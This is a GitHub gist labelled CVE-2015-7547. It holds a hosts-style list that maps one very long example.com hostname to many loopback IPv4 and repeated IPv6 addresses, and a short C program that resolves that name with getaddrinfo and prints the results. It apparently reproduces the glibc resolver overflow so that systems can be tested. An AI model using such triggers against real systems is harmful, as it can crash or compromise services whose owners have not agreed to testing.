Skip to content

Instantly share code, notes, and snippets.

@moriyoshi
Created February 17, 2016 10:04
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save moriyoshi/6e5692f3c5aa7acd88da to your computer and use it in GitHub Desktop.
Save moriyoshi/6e5692f3c5aa7acd88da to your computer and use it in GitHub Desktop.
CVE-2015-7547
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 127.0.0.1
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 127.0.0.2
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 127.0.0.3
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 127.0.0.4
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 127.0.0.5
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 127.0.0.6
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 127.0.0.7
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 127.0.0.8
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 127.0.0.9
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 127.0.0.10
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com 2606:2800:220:1:248:1893:25c8:1946
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
int main() {
const struct addrinfo hints = {
.ai_flags = 0,
.ai_family = AF_UNSPEC,
.ai_socktype = SOCK_STREAM,
.ai_protocol = 0,
.ai_addrlen = 0,
.ai_addr = NULL,
.ai_canonname = NULL,
.ai_next = NULL
};
struct addrinfo *results;
int err = getaddrinfo("01234.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.0123456789abcdef.example.com", NULL, &hints, &results);
if (err != 0) {
fprintf(stderr, "error=%d\n", err);
return 1;
}
{
int i = 0;
for (struct addrinfo *p = results; p; p = p->ai_next, ++i) {
char buf[INET6_ADDRSTRLEN];
printf("%d:", i);
if (p->ai_family == AF_INET) {
printf("%s\n", inet_ntop(p->ai_family, &((const struct sockaddr_in *)p->ai_addr)->sin_addr, buf, sizeof(buf)));
} else if (p->ai_family == AF_INET6) {
printf("%s\n", inet_ntop(p->ai_family, &((const struct sockaddr_in6 *)p->ai_addr)->sin6_addr, buf, sizeof(buf)));
} else {
printf("UNKNOWN\n");
}
}
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment